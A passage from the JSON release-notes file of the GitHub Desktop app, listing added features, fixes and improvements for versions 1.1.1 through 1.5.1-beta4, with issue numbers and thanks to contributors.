#6379 #6380", "[Fixed] Fix feature flag for readme overwrite warning so that it shows on beta - #6412" ], "1.5.1-beta4": [ "[Improved] Display warning if existing readme file will be overwritten - #6338. Thanks @Daniel-McCarthy!", "[Improved] Add check for attempts to commit >100 MB files without Git LFS - #997. Thanks @Daniel-McCarthy!", "[Improved] Merge conflicts dialog visual updates - #6377" ], "1.5.1-beta3": [ "[Improved] Maintains state on tabs for different methods of cloning repositories - #5937" ], "1.5.1-beta2": [ "[Improved] Clarified internal documentation - #6348. Thanks @bblarney!" ], "1.5.1-beta1": [ "[Added] Provide keyboard shortcut for getting to commit summary field - #1719. Thanks @bruncun!", "[Added] Add hover states on list items and tabs - #6310", "[Added] Add Dockerfile syntax highlighting - #4533. Thanks @say25!", "[Added] Support Visual SlickEdit as an external editor - #6029. Thanks @texasaggie97!", "[Improved] Allow toggling between diff modes - #6231. Thanks @06b!", "[Improved] Show focus around full input field - #6234. Thanks @seokju-na!", "[Improved] Make lists scroll to bring selected items into view - #6279", "[Fixed] Allow repositories to be cloned to empty folders - #5857. Thanks @Daniel-McCarthy!", "[Fixed] Prevent creating branch with detached HEAD from reverting to default branch - #6085", "[Fixed] Fix 'Open In External Editor' for Atom/VS Code on Windows when paths contain spaces - #6181. Thanks @msftrncs!", "[Fixed] Persist Branch List and Pull Request List filter text - #6002. Thanks @Daniel-McCarthy!", "[Fixed] Retain renamed branches position in recent branches list - #6155. Thanks @gnehcc!", "[Fixed] Prevent avatar duplication when user is co-author and committer - #6135. Thanks @bblarney!", "[Fixed] Provide keyboard selection for the ‘Clone a Repository’ dialog - #3596. Thanks @a-golovanov!", "[Fixed] Close License & Open Source Notices dialog upon pressing \"Enter\" in dialog - #6137. Thanks @bblarney!", "[Fixed] Dismiss \"Merge into Branch\" dialog with escape key - #6154. Thanks @altaf933!", "[Fixed] Focus branch selector when comparing to branch from menu - #5600", "[Fixed] Reverse fold/unfold icons for expand/collapse commit summary - #6196. Thanks @HazemAM!" ], "1.5.1-beta0": [], "1.5.0": [ "[New] Clone, create, or add repositories right from the repository dropdown - #5878", "[New] Drag-and-drop to add local repositories from macOS tray icon - #5048", "[Added] Resolve merge conflicts through a guided flow - #5400", "[Added] Allow merging branches directly from branch dropdown - #5929. Thanks @bruncun!", "[Added] Commit file list now has \"Copy File Path\" context menu action - #2944. Thanks @Amabel!", "[Added] Keyboard shortcut for \"Rename Branch\" menu item - #5964. Thanks @agisilaos!", "[Added] Notify users when a merge is successfully completed - #5851", "[Fixed] \"Compare on GitHub\" menu item enabled when no repository is selected - #6078", "[Fixed] Diff viewer blocks keyboard navigation using reverse tab order - #2794", "[Fixed] Launching Desktop from browser always asks to clone repository - #5913", "[Fixed] Publish dialog displayed on push when repository is already published - #5936", "[Improved] \"Publish Repository\" dialog handles emoji characters - #5980. Thanks @WaleedAshraf!", "[Improved] Avoid repository checks when no path is specified in \"Create Repository\" dialog - #5828. Thanks @JakeHL!", "[Improved] Clarify the direction of merging branches - #5930. Thanks @JQuinnie!", "[Improved] Default commit summary more explanatory and consistent with GitHub.com - #6017. Thanks @Daniel-McCarthy!", "[Improved] Display a more informative message on merge dialog when branch is up to date - #5890", "[Improved] Getting a repository's status only blocks other operations when absolutely necessary - #5952", "[Improved] Display current branch in header of merge dialog - #6027", "[Improved] Sanitize repository name before publishing to GitHub - #3090. Thanks @Daniel-McCarthy!", "[Improved] Show the branch name in \"Update From Default Branch\" menu item - #3018. Thanks @a-golovanov!", "[Improved] Update license and .gitignore templates for initializing a new repository - #6024. Thanks @say25!" ], "1.5.0-beta5": [], "1.5.0-beta4": [ "[Fixed] \"Compare on GitHub\" menu item enabled when no repository is selected - #6078", "[Fixed] Diff viewer blocks keyboard navigation using reverse tab order - #2794", "[Improved] \"Publish Repository\" dialog handles emoji characters - #5980. Thanks @WaleedAshraf!" ], "1.5.0-beta3": [], "1.5.0-beta2": [ "[Added] Resolve merge conflicts through a guided flow - #5400", "[Added] Notify users when a merge is successfully completed - #5851", "[Added] Allow merging branches directly from branch dropdown - #5929. Thanks @bruncun!", "[Improved] Merge dialog displays current branch in header - #6027", "[Improved] Clarify the direction of merging branches - #5930. Thanks @JQuinnie!", "[Improved] Show the branch name in \"Update From Default Branch\" menu item - #3018. Thanks @a-golovanov!", "[Improved] Default commit summary more explanatory and consistent with GitHub.com - #6017. Thanks @Daniel-McCarthy!", "[Improved] Updated license and .gitignore templates for initializing a new repository - #6024. Thanks @say25!" ], "1.5.0-beta1": [ "[New] Repository switcher has a convenient \"Add\" button to add other repositories - #5878", "[New] macOS tray icon now supports drag-and-drop to add local repositories - #5048", "[Added] Keyboard shortcut for \"Rename Branch\" menu item - #5964. Thanks @agisilaos!", "[Added] Commit file list now has \"Copy File Path\" context menu action - #2944. Thanks @Amabel!", "[Fixed] Launching Desktop from browser always asks to clone repository - #5913", "[Fixed] Publish dialog displayed on push when repository is already published - #5936", "[Improved] Sanitize repository name before publishing to GitHub - #3090. Thanks @Daniel-McCarthy!", "[Improved] Getting a repository's status only blocks other operations when absolutely necessary - #5952", "[Improved] Avoid repository checks when no path is specified in \"Create Repository\" dialog - #5828. Thanks @JakeHL!", "[Improved] Display a more informative message on merge dialog when branch is up to date - #5890" ], "1.4.4-beta0": [], "1.4.3": [ "[Added] Add \"Remove Repository\" keyboard shortcut - #5848. Thanks @say25!", "[Added] Add keyboard shortcut to delete a branch - #5018. Thanks @JakeHL!", "[Fixed] Emoji autocomplete not rendering in some situations - #5859", "[Fixed] Release notes text overflowing dialog box - #5854. Thanks @amarsiingh!", "[Improved] Support Python 3 in Desktop CLI on macOS - #5843. Thanks @munir131!", "[Improved] Avoid unnecessarily reloading commit history - #5470", "[Improved] Publish Branch dialog will publish commits when pressing Enter - #5777. Thanks @JKirkYuan!" ], "1.4.3-beta2": [ "[Added] Added keyboard shortcut to delete a branch - #5018. Thanks @JakeHL!", "[Fixed] Fix release notes text overflowing dialog box - #5854. Thanks @amarsiingh!", "[Improved] Avoid unnecessarily reloading commit history - #5470" ], "1.4.3-beta1": [ "[Added] Add \"Remove Repository\" keyboard shortcut - #5848. Thanks @say25!", "[Fixed] Fix emoji autocomplete not rendering in some situations - #5859", "[Fixed] Support Python 3 in Desktop CLI on macOS - #5843. Thanks @munir131!", "[Improved] Publish Branch dialog will publish commits when pressing Enter - #5777. Thanks @JKirkYuan!" ], "1.4.3-beta0": [], "1.4.2": [ "[New] Show resolved conflicts as resolved in Changes pane - #5609", "[Added] Add Terminator, MATE Terminal, and Terminology shells - #5753. Thanks @joaomlneto!", "[Fixed] Update embedded Git to version 2.19.1 for security vulnerability fix", "[Fixed] Always show commit history list when History tab is clicked - #5783. Thanks @JKirkYuan!", "[Fixed] Stop overriding the protocol of a detected GitHub repository - #5721", "[Fixed] Update sign in error message - #5766. Thanks @tiagodenoronha!", "[Fixed] Correct overflowing T&C and License Notices dialogs - #5756. Thanks @amarsiingh!", "[Improved] Add default commit message for single-file commits - #5240. Thanks @lean257!", "[Improved] Refresh commit list faster after reverting commit via UI - #5752", "[Improved] Add repository path to Remove repository dialog - #5805. Thanks @NickCraver!", "[Improved] Display whether user entered incorrect username or email address - #5775. Thanks @tiagodenoronha!", "[Improved] Update Discard Changes dialog text when discarding all changes - #5744. Thanks @Daniel-McCarthy!" ], "1.4.2-beta0": [], "1.4.1-test2": [ "Testing changes to how Desktop performs CI platform checks" ], "1.4.1-test1": [ "Testing changes to how Desktop performs CI platform checks" ], "1.4.1": [ "[Added] Support for opening repository in Cygwin terminal - #5654. Thanks @LordOfTheThunder!", "[Fixed] 'Compare to Branch' menu item not disabled when modal is open - #5673. Thanks @kanishk98!", "[Fixed] Co-author form does not show/hide for newly-added repository - #5490", "[Fixed] Desktop command line always suffixes `.git` to URL when starting a clone - #5529. Thanks @j-f1!", "[Fixed] Dialog styling issue for dark theme users on Windows - #5629. Thanks @cwongmath!", "[Fixed] No message shown when filter returns no results in Clone Repository view - #5637. Thanks @DanielHix!", "[Improved] Branch names cannot start with a '+' character - #5594. Thanks @Daniel-McCarthy!", "[Improved] Clone dialog re-runs filesystem check when re-focusing on Desktop - #5518. Thanks @Daniel-McCarthy!", "[Improved] Commit disabled when commit summary is only spaces - #5677. Thanks @Daniel-McCarthy!", "[Improved] Commit summary expander sometimes shown when not needed - #5700. Thanks @aryyya!", "[Improved] Error handling when looking for merge base of a missing ref - #5612", "[Improved] Warning if branch exists on remote when creating branch - #5141. Thanks @Daniel-McCarthy!" ], "1.4.1-beta1": [ "[Added] Support for opening repository in Cygwin terminal - #5654. Thanks @LordOfTheThunder!", "[Fixed] 'Compare to Branch' menu item not disabled when modal is open - #5673. Thanks @kanishk98!", "[Fixed] No message shown when filter returns no results in Clone Repository view - #5637. Thanks @DanielHix!", "[Fixed] Co-author form does not show/hide for newly-added repository - #5490", "[Fixed] Dialog styling issue for dark theme users on Windows - #5629. Thanks @cwongmath!", "[Fixed] Desktop command line always suffixes `.git` to URL when starting a clone - #5529. Thanks @j-f1!", "[Improved] Commit summary expander sometimes shown when not needed - #5700. Thanks @aryyya!", "[Improved] Commit disabled when commit summary is only spaces - #5677. Thanks @Daniel-McCarthy!", "[Improved] Error handling when looking for merge base of a missing ref - #5612", "[Improved] Clone dialog re-runs filesystem check when re-focusing on Desktop - #5518. Thanks @Daniel-McCarthy!", "[Improved] Branch names cannot start with a '+' character - #5594. Thanks @Daniel-McCarthy!", "[Improved] Warning if branch exists on remote when creating branch - #5141. Thanks @Daniel-McCarthy!" ], "1.4.1-beta0": [], "1.4.0": [ "[New] When an update is available for GitHub Desktop, release notes can be viewed in Desktop - #2774", "[New] Detect merge conflicts when comparing branches - #4588", "[Fixed] Avoid double checkout warning when opening a pull request in Desktop - #5375", "[Fixed] Error when publishing repository is now associated with the right tab - #5422. Thanks @Daniel-McCarthy!", "[Fixed] Disable affected menu items when on detached HEAD - #5500. Thanks @say25!", "[Fixed] Show border when commit description is expanded - #5506. Thanks @aryyya!", "[Fixed] GitLab URL which corresponds to GitHub repository of same name cloned GitHub repository - #4154", "[Fixed] Caret in co-author selector is hidden when dark theme enabled - #5589", "[Fixed] Authenticating to GitHub Enterprise fails when user has no emails defined - #5585", "[Improved] Avoid multiple lookups of default remote - #5399" ], "1.4.0-beta3": [ "[New] When an update is available for GitHub Desktop, the release notes can be viewed in Desktop - #2774", "[New] Detect merge conflicts when comparing branches - #4588", "[Fixed] Avoid double checkout warning when opening a pull request in Desktop - #5375", "[Fixed] Error when publishing repository is now associated with the right tab - #5422. Thanks @Daniel-McCarthy!", "[Fixed] Disable affected menu items when on detached HEAD - #5500. Thanks @say25!", "[Fixed] Show border when commit description is expanded - #5506. Thanks @aryyya!", "[Fixed] GitLab URL which corresponds to GitHub repository of same name cloned GitHub repository - #4154", "[Improved] Avoid multiple lookups of default remote - #5399", "[Improved] Skip optional locks when checking status of repository - #5376" ], "1.4.0-beta2": [ "[New] When an update is available for GitHub Desktop, the release notes can be viewed in Desktop - #2774", "[New] Detect merge conflicts when comparing branches - #4588", "[Fixed] Avoid double checkout warning when opening a pull request in Desktop - #5375", "[Fixed] Error when publishing repository is now associated with the right tab - #5422. Thanks @Daniel-McCarthy!", "[Fixed] Disable affected menu items when on detached HEAD - #5500. Thanks @say25!", "[Fixed] Show border when commit description is expanded - #5506. Thanks @aryyya!", "[Fixed] GitLab URL which corresponds to GitHub repository of same name cloned GitHub repository - #4154", "[Improved] Avoid multiple lookups of default remote - #5399", "[Improved] Skip optional locks when checking status of repository - #5376" ], "1.4.0-beta1": [ "[New] When an update is available for GitHub Desktop, the release notes can be viewed in Desktop - #2774", "[New] Detect merge conflicts when comparing branches - #4588", "[Fixed] Avoid double checkout warning when opening a pull request in Desktop - #5375", "[Fixed] Error when publishing repository is now associated with the right tab - #5422. Thanks @Daniel-McCarthy!", "[Fixed] Disable affected menu items when on detached HEAD - #5500. Thanks @say25!", "[Fixed] Show border when commit description is expanded - #5506. Thanks @aryyya!", "[Fixed] GitLab URL which corresponds to GitHub repository of same name cloned GitHub repository - #4154", "[Improved] Avoid multiple lookups of default remote - #5399", "[Improved] Skip optional locks when checking status of repository - #5376" ], "1.4.0-beta0": [], "1.3.5": [ "[Fixed] Disable delete button while deleting a branch - #5331", "[Fixed] History now avoids calling log.showSignature if set in config - #5466", "[Fixed] Start blocking the ability to add local bare repositories - #4293. Thanks @Daniel-McCarthy!", "[Fixed] Revert workaround for tooltip issue on Windows - #3362. Thanks @divayprakash!", "[Improved] Error message when publishing to missing organisation - #5380. Thanks @Daniel-McCarthy!", "[Improved] Don't hide commit details when commit description is expanded. - #5471. Thanks @aryyya!" ], "1.3.5-beta1": [ "[Fixed] Disable delete button while deleting a branch - #5331", "[Fixed] History now avoids calling log.showSignature if set in config - #5466", "[Fixed] Start blocking the ability to add local bare repositories - #4293. Thanks @Daniel-McCarthy!", "[Fixed] Revert workaround for tooltip issue on Windows - #3362. Thanks @divayprakash!", "[Improved] Error message when publishing to missing organisation - #5380. Thanks @Daniel-McCarthy!", "[Improved] Don't hide commit details when commit summary description is expanded. - #5471. Thanks @aryyya!" ], "1.3.5-beta0": [], "1.3.4": [ "[Improved] Cloning message uses remote repo name not file destination - #5413. Thanks @lisavogtsf!", "[Improved] Support VSCode user scope installation - #5281. Thanks @saschanaz!" ], "1.3.4-beta1": [ "[Improved] Cloning message uses remote repo name not file destination - #5413. Thanks @lisavogtsf!", "[Improved] Support VSCode user scope installation - #5281. Thanks @saschanaz!" ], "1.3.4-beta0": [], "1.3.3": [ "[Fixed] Maximize and restore app on Windows does not fill available space - #5033", "[Fixed] 'Clone repository' menu item label is obscured on Windows - #5348. Thanks @Daniel-McCarthy!", "[Fixed] User can toggle files when commit is in progress - #5341. Thanks @masungwon!", "[Improved] Repository indicator background work - #5317 #5326 #5363 #5241 #5320" ], "1.3.3-beta1": [ "[Fixed] Maximize and restore app on Windows does not fill available space - #5033", "[Fixed] 'Clone repository' menu item label is obscured on Windows - #5348. Thanks @Daniel-McCarthy!", "[Fixed] User can toggle files when commit is in progress - #5341. Thanks @masungwon!", "[Improved] Repository indicator background work - #5317 #5326 #5363 #5241 #5320" ], "1.3.3-test6": ["Testing infrastructure changes"], "1.3.3-test5": ["Testing the new CircleCI config changes"], "1.3.3-test4": ["Testing the new CircleCI config changes"], "1.3.3-test3": ["Testing the new CircleCI config changes"], "1.3.3-test2": ["Testing the new CircleCI config changes"], "1.3.3-test1": ["Testing the new CircleCI config changes"], "1.3.2": [ "[Fixed] Bugfix for background checks not being aware of missing repositories - #5282", "[Fixed] Check the local state of a repository before performing Git operations - #5289", "[Fixed] Switch to history view for default branch when deleting current branch during a compare - #5256", "[Fixed] Handle missing .git directory inside a tracked repository - #5291" ], "1.3.2-beta1": [ "[Fixed] Bugfix for background checks not being aware of missing repositories - #5282", "[Fixed] Check the local state of a repository before performing Git operations - #5289", "[Fixed] Switch to history view for default branch when deleting current branch during a compare - #5256", "[Fixed] Handle missing .git directory inside a tracked repository - #5291" ], "1.3.1": [ "[Fixed] Background Git operations on missing repositories are not handled as expected - #5282" ], "1.3.1-beta1": [ "[Fixed] Background Git operations on missing repositories are not handled as expected - #5282" ], "1.3.1-beta0": [ "[New] Notification displayed in History tab when the base branch moves ahead of the current branch - #4768", "[New] Repository list displays uncommitted changes indicator and ahead/behind information - #2259 #5095", "[Added] Option to move repository to trash when removing from app - #2108. Thanks @say25!", "[Added] Syntax highlighting for PowerShell files - #5081. Thanks @say25!", "[Fixed] \"Discard Changes\" context menu discards correct file when entry is not part of selected group - #4788", "[Fixed] Display local path of selected repository as tooltip - #4922. Thanks @yongdamsh!", "[Fixed] Display root directory name when repository is located at drive root - #4924", "[Fixed] Handle legacy macOS right click gesture - #4942", "[Fixed] History omits latest commit from list - #5243", "[Fixed] Markdown header elements hard to read in dark mode - #5133. Thanks @agisilaos!", "[Fixed] Only perform ahead/behind comparisons when branch selector is open - #5142", "[Fixed] Relax checks for merge commits for GitHub Enterprise repositories - #4329", "[Fixed] Render clickable link in \"squash and merge\" commit message - #5203. Thanks @1pete!", "[Fixed] Return key disabled when no matches found in Compare branch list - #4458", "[Fixed] Selected commit not remembered when switching between History and Changes tabs - #4985", "[Fixed] Selected commit when comparing is reset to latest when Desktop regains focus - #5069", "[Fixed] Support default branch detection for non-GitHub repositories - #4937", "[Improved] Change primary button color to blue for dark theme - #5074", "[Improved] Diff gutter elements should be considered button elements when interacting - #5158", "[Improved] Status parsing significantly more performant when handling thousands of changed files - #2449 #5186" ], "1.3.0": [ "[New] Notification displayed in History tab when the base branch moves ahead of the current branch - #4768", "[New] Repository list displays uncommitted changes indicator and ahead/behind information - #2259 #5095", "[Added] Option to move repository to trash when removing from app - #2108. Thanks @say25!", "[Added] Syntax highlighting for PowerShell files - #5081. Thanks @say25!", "[Fixed] \"Discard Changes\" context menu discards correct file when entry is not part of selected group - #4788", "[Fixed] Display local path of selected repository as tooltip - #4922. Thanks @yongdamsh!", "[Fixed] Display root directory name when repository is located at drive root - #4924", "[Fixed] Handle legacy macOS right click gesture - #4942", "[Fixed] History omits latest commit from list - #5243", "[Fixed] Markdown header elements hard to read in dark mode - #5133. Thanks @agisilaos!", "[Fixed] Only perform ahead/behind comparisons when branch selector is open - #5142", "[Fixed] Relax checks for merge commits for GitHub Enterprise repositories - #4329", "[Fixed] Render clickable link in \"squash and merge\" commit message - #5203. Thanks @1pete!", "[Fixed] Return key disabled when no matches found in Compare branch list - #4458", "[Fixed] Selected commit not remembered when switching between History and Changes tabs - #4985", "[Fixed] Selected commit when comparing is reset to latest when Desktop regains focus - #5069", "[Fixed] Support default branch detection for non-GitHub repositories - #4937", "[Improved] Change primary button color to blue for dark theme - #5074", "[Improved] Diff gutter elements should be considered button elements when interacting - #5158", "[Improved] Status parsing significantly more performant when handling thousands of changed files - #2449 #5186" ], "1.3.0-beta7": [], "1.3.0-beta6": [], "1.3.0-beta5": [ "[Fixed] Ensure commit message is cleared after successful commit - #4046", "[Fixed] History omits latest commit from list - #5243" ], "1.3.0-beta4": [ "[Fixed] Only perform ahead/behind comparisons when branch selector is open - #5142", "[Fixed] Render clickable link in \"squash and merge\" commit message - #5203. Thanks @1pete!", "[Fixed] Selected commit not remembered when switching between History and Changes tabs - #4985", "[Fixed] Selected commit when comparing is reset to latest when Desktop regains focus - #5069" ], "1.3.0-beta3": [ "[Fixed] \"Discard Changes\" context menu discards correct file when entry is not part of selected group - #4788", "[Fixed] Return key disabled when no matches found in Compare branch list - #4458", "[Improved] Status parsing significantly more performant when handling thousands of changed files - #2449 #5186" ], "1.3.0-beta2": [ "[Added] Option to move repository to trash when removing from app - #2108. Thanks @say25!", "[Fixed] Markdown header elements hard to read in dark mode - #5133. Thanks @agisilaos!", "[Improved] Diff gutter elements should be considered button elements when interacting - #5158" ], "1.2.7-test3": ["Test deployment for electron version bump."], "1.3.0-beta1": [ "[New] Notification displayed in History tab when the base branch moves ahead of the current branch - #4768", "[New] Repository list displays uncommitted changes count and ahead/behind information - #2259", "[Added] Syntax highlighting for PowerShell files- #5081. Thanks @say25!", "[Fixed] Display something when repository is located at drive root - #4924", "[Fixed] Relax checks for merge commits for GitHub Enterprise repositories - #4329", "[Fixed] Display local path of selected repository as tooltip - #4922. Thanks @yongdamsh!", "[Fixed] Support default branch detection for non-GitHub repositories - #4937", "[Fixed] Handle legacy macOS right click gesture - #4942", "[Improved] Repository list badge style tweaks and tweaks for dark theme - #5095", "[Improved] Change primary button color to blue for dark theme - #5074" ], "1.2.7-test2": ["Test deployment for electron version bump."], "1.2.7-test1": ["Sanity check deployment for refactored scripts"], "1.2.7-beta0": [ "[Fixed] Visual indicator for upcoming feature should not be shown - #5026" ], "1.2.6": [ "[Fixed] Visual indicator for upcoming feature should not be shown - #5026" ], "1.2.6-beta0": [ "[Fixed] Feature flag for upcoming feature not applied correctly - #5024" ], "1.2.5": [ "[Fixed] Feature flag for upcoming feature not applied correctly - #5024" ], "1.2.4": [ "[New] Dark Theme preview - #4849", "[Added] Syntax highlighting for Cake files - #4935. Thanks @say25!", "[Added] WebStorm support for macOS - #4841. Thanks @mrsimonfletcher!", "[Fixed] Compare tab appends older commits when scrolling to bottom of list - #4964", "[Fixed] Remove temporary directory after Git LFS operation completes - #4414", "[Fixed] Unable to compare when two branches exist - #4947 #4730", "[Fixed] Unhandled errors when refreshing pull requests fails - #4844 #4866", "[Improved] Remove context menu needs to hint if a dialog will be shown - #4975", "[Improved] Upgrade embedded Git LFS - #4602 #4745", "[Improved] Update banner message clarifies that only Desktop needs to be restarted - #4891. Thanks @KennethSweezy!", "[Improved] Discard Changes context menu entry should contain ellipses when user needs to confirm - #4846. Thanks @yongdamsh!", "[Improved] Initializing syntax highlighting components - #4764", "[Improved] Only show overflow shadow when description overflows - #4898", "[Improved] Changes tab displays number of changed files instead of dot - #4772. Thanks @yongdamsh!" ], "1.2.4-beta5": [], "1.2.4-beta4": [ "[Fixed] Compare tab appends older commits when scrolling to bottom of list - #4964", "[Fixed] Remove temporary directory after Git LFS operation completes - #4414", "[Improved] Remove context menu needs to hint if a dialog will be shown - #4975", "[Improved] Upgrade embedded Git LFS - #4602 #4745" ], "1.2.4-test1": [ "Confirming latest Git LFS version addresses reported issues" ], "1.2.4-beta3": [ "[Added] WebStorm support for macOS - #4841. Thanks @mrsimonfletcher!", "[Improved] Update banner message clarifies that only Desktop needs to be restarted - #4891. Thanks @KennethSweezy!" ], "1.2.4-beta2": [], "1.2.4-beta1": [ "[New] Dark Theme preview - #4849", "[Added] Syntax highlighting for Cake files - #4935. Thanks @say25!", "[Fixed] Unable to compare when two branches exist - #4947 #4730", "[Fixed] Unhandled errors when refreshing pull requests fails - #4844 #4866", "[Improved] Discard Changes context menu entry should contain ellipses when user needs to confirm - #4846. Thanks @yongdamsh!", "[Improved] Initializing syntax highlighting components - #4764", "[Improved] Only show overflow shadow when description overflows - #4898", "[Improved] Changes tab displays number of changed files instead of dot - #4772. Thanks @yongdamsh!" ], "1.2.3": [ "[Fixed] No autocomplete when searching for co-authors - #4847", "[Fixed] Error when checking out a PR from a fork - #4842" ], "1.2.3-beta1": [ "[Fixed] No autocomplete when searching for co-authors - #4847", "[Fixed] Error when checking out a PR from a fork - #4842" ], "1.2.3-test1": [ "Confirming switch from uglify-es to babel-minify addresses minification issue - #4871" ], "1.2.2": [ "[Fixed] Make cURL/schannel default to using the Windows certificate store - #4817", "[Fixed] Restore text selection highlighting in diffs - #4818" ], "1.2.2-beta1": [ "[Fixed] Make cURL/schannel default to using the Windows certificate store - #4817", "[Fixed] Text selection highlighting in diffs is back - #4818" ], "1.2.1": [ "[Added] Brackets support for macOS - #4608. Thanks @3raxton!", "[Added] Pull request number and author are included in fuzzy-find filtering - #4653. Thanks @damaneice!", "[Fixed] Decreased the max line length limit - #3740. Thanks @sagaragarwal94!", "[Fixed] Updated embedded Git to 2.17.1 to address upstream security issue - #4791", "[Improved] Display the difference in file size of an image in the diff view - #4380. Thanks @ggajos!" ], "1.2.1-test1": ["Upgraded embedded Git to 2.17.0"], "1.2.1-beta1": [ "[Added] Brackets support for macOS - #4608. Thanks @3raxton!", "[Added] Pull request number and author are included in fuzzy-find filtering - #4653. Thanks @damaneice!", "[Fixed] Decreased the max line length limit - #3740. Thanks @sagaragarwal94!", "[Fixed] Updated embedded Git to 2.17.1 to address upstream security issue - #4791", "[Improved] Display the difference in file size of an image in the diff view - #4380. Thanks @ggajos!" ], "1.2.1-beta0": [], "1.1.2-test6": ["Testing the Webpack v4 output from the project"], "1.2.0": [ "[New] History now has ability to compare to another branch and merge outstanding commits", "[New] Support for selecting more than one file in the changes list - #1712. Thanks @icosamuel!", "[New] Render bitmap images in diffs - #4367. Thanks @MagicMarvMan!", "[Added] Add PowerShell Core support for Windows and macOS - #3791. Thanks @saschanaz!", "[Added] Add MacVim support for macOS - #4532. Thanks @johnelliott!", "[Added] Syntax highlighting for JavaServer Pages (JSP) - #4470. Thanks @damaneice!", "[Added] Syntax highlighting for Haxe files - #4445. Thanks @Gama11!", "[Added] Syntax highlighting for R files - #4455. Thanks @say25!", "[Fixed] 'Open in Shell' on Linux ensures Git is on PATH - #4619. Thanks @ziggy42!", "[Fixed] Pressing 'Enter' on filtered Pull Request does not checkout - #4673", "[Fixed] Alert icon shrinks in rename dialog when branch name is long - #4566", "[Fixed] 'Open in Desktop' performs fetch to ensure branch exists before checkout - #3006", "[Fixed] 'Open in Default Program' on Windows changes the window title - #4446", "[Fixed] Skip fast-forwarding when there are many eligible local branches - #4392", "[Fixed] Image diffs not working for files with upper-case file extension - #4466", "[Fixed] Syntax highlighting not working for files with upper-case file extension - #4462. Thanks @say25!", "[Fixed] Error when creating Git LFS progress causes clone to fail - #4307. Thanks @MagicMarvMan!", "[Fixed] 'Open File in External Editor' always opens a new instance - #4381", "[Fixed] 'Select All' shortcut now works for changes list - #3821", "[Improved] Automatically add valid repository when using command line interface - #4513. Thanks @ggajos!", "[Improved] Always fast-forward the default branch - #4506", "[Improved] Warn when trying to rename a published branch - #4035. Thanks @agisilaos!", "[Improved] Added context menu for files in commit history - #2845. Thanks @crea7or", "[Improved] Discarding all changes always prompts for confirmation - #4459", "[Improved] Getting list of changed files is now more efficient when dealing with thousands of files - #4443", "[Improved] Checking out a Pull Request may skip unnecessary fetch - #4068. Thanks @agisilaos!", "[Improved] Commit summary now has a hint to indicate why committing is disabled - #4429.", "[Improved] Pull request status text now matches format on GitHub - #3521", "[Improved] Add escape hatch to disable hardware acceleration when launching - #3921" ], "1.1.2-beta7": [], "1.1.2-beta6": [ "[Added] Add MacVim support for macOS - #4532. Thanks @johnelliott!", "[Fixed] Open in Shell on Linux ensures Git is available on the user's PATH - #4619. Thanks @ziggy42!", "[Fixed] Keyboard focus issues when navigating Pull Request list - #4673", "[Improved] Automatically add valid repository when using command line interface - #4513. Thanks @ggajos!" ], "1.1.2-test5": ["Actually upgrading fs-extra to v6 in the app"], "1.1.2-test4": ["Upgrading fs-extra to v6"], "1.1.2-beta5": [ "[Added] Syntax highlighting for JavaServer Pages (JSP) - #4470. Thanks @damaneice!", "[Fixed] Prevent icon from shrinking in rename dialog - #4566" ], "1.1.2-beta4": [ "[New] New Compare tab allowing visualization of the relationship between branches", "[New] Support for selecting more than one file in the changes list - #1712. Thanks @icosamuel!", "[Fixed] 'Select All' shortcut now works for changes list - #3821", "[Improved] Always fast-forward the default branch - #4506", "[Improved] Warn when trying to rename a published branch - #4035. Thanks @agisilaos!", "[Improved] Added context menu for files in commit history - #2845. Thanks @crea7or", "[Improved] Discarding all changes always prompts for confirmation - #4459" ], "1.1.2-beta3": [ "[Added] Syntax highlighting for Haxe files - #4445. Thanks @Gama11!", "[Added] Syntax highlighting for R files - #4455. Thanks @say25!", "[Fixed] Fetch to ensure \"Open in Desktop\" has a branch to checkout - #3006", "[Fixed] Handle the click event when opening a binary file - #4446", "[Fixed] Skip fast-forwarding when there are a lot of eligible local branches - #4392", "[Fixed] Image diffs not working for files with upper-case file extension - #4466", "[Fixed] Syntax highlighting not working for files with upper-case file extension - #4462. Thanks @say25!", "[Improved] Getting list of changed files is now more efficient when dealing with thousands of files - #4443", "[Improved] Checking out a Pull Request may skip unnecessary fetch - #4068. Thanks @agisilaos!", "[Improved] Commit summary now has a hint to indicate why committing is disabled - #4429." ], "1.1.2-test3": ["[New] Comparison Branch demo build"], "1.1.2-test2": [ "Refactoring the diff internals to potentially land some SVG improvements" ], "1.1.2-test1": [ "Refactoring the diff internals to potentially land some SVG improvements" ], "1.1.2-beta2": [ "[New] Render bitmap images in diffs - #4367. Thanks @MagicMarvMan!", "[New] Add PowerShell Core support for Windows and macOS - #3791. Thanks @saschanaz!", "[Fixed] Error when creating Git LFS progress causes clone to fail - #4307. Thanks @MagicMarvMan!", "[Fixed] 'Open File in External Editor' does not use existing window - #4381", "[Fixed] Always ask for confirmation when discarding all changes - #4423", "[Improved] Pull request status text now matches format on GitHub - #3521", "[Improved] Add escape hatch to disable hardware acceleration when launching - #3921" ], "1.1.2-beta1": [], "1.1.1": [ "[New] Render WebP images in diffs - #4164. Thanks @agisilaos!", "[Fixed] Edit context menus in commit form input elements - #3886", "[Fixed] Escape behavior for Pull Request list does not match Branch List - #3597", "[Fixed] Keep caret position after inserting completion for emoji/mention - #3835. Thanks @CarlRosell!", "[Fixed] Handle error events when watching files used to get Git LFS output - #4117", "[Fixed] Potential race condition when opening a fork pull request - #4149", "[Fixed] Show placeholder image when no pull requests found - #3973", "[Fixed] Disable commit summary and description inputs while commit in progress - #3893. Thanks @crea7or!", "[Fixed] Ensure pull request cache is cleared after last pull request merged - #4122", "[Fixed] Focus two-factor authentication dialog on input - #4220. Thanks @WaleedAshraf!", "[Fixed] Branches button no longer disabled while on an unborn branch - #4236. Thanks @agisilaos!", "[Fixed] Delete gitignore file when all entries cleared in Repository Settings - #1896", "[Fixed] Add visual indicator that a folder can be dropped on Desktop - #4004. Thanks @agisilaos!", "[Fixed] Attempt to focus the application window on macOS after signing in via the browser - #4126", "[Fixed] Refresh issues when user manually fetches - #4076", "[Improved] Add `Discard All Changes...` to context menu on changed file list - #4197. Thanks @xamm!", "[Improved] Improve contrast for button labels in app toolbar - #4219", "[Improved] Speed up check for submodules when discarding - #4186. Thanks @kmscode!", "[Improved] Make the keychain known issue more clear within Desktop - #4125", "[Improved] Continue past the 'diff too large' message and view the diff - #4050", "[Improved] Repository association might not have expected prefix - #4090. Thanks @mathieudutour!", "[Improved] Add message to gitignore dialog when not on default branch - #3720", "[Improved] Hide Desktop-specific forks in Branch List - #4127", "[Improved] Disregard accidental whitespace when cloning a repository by URL - #4216", "[Improved] Show alert icon in repository list when repository not found on disk - #4254. Thanks @gingerbeardman!", "[Improved] Repository list now closes after removing last repository - #4269. 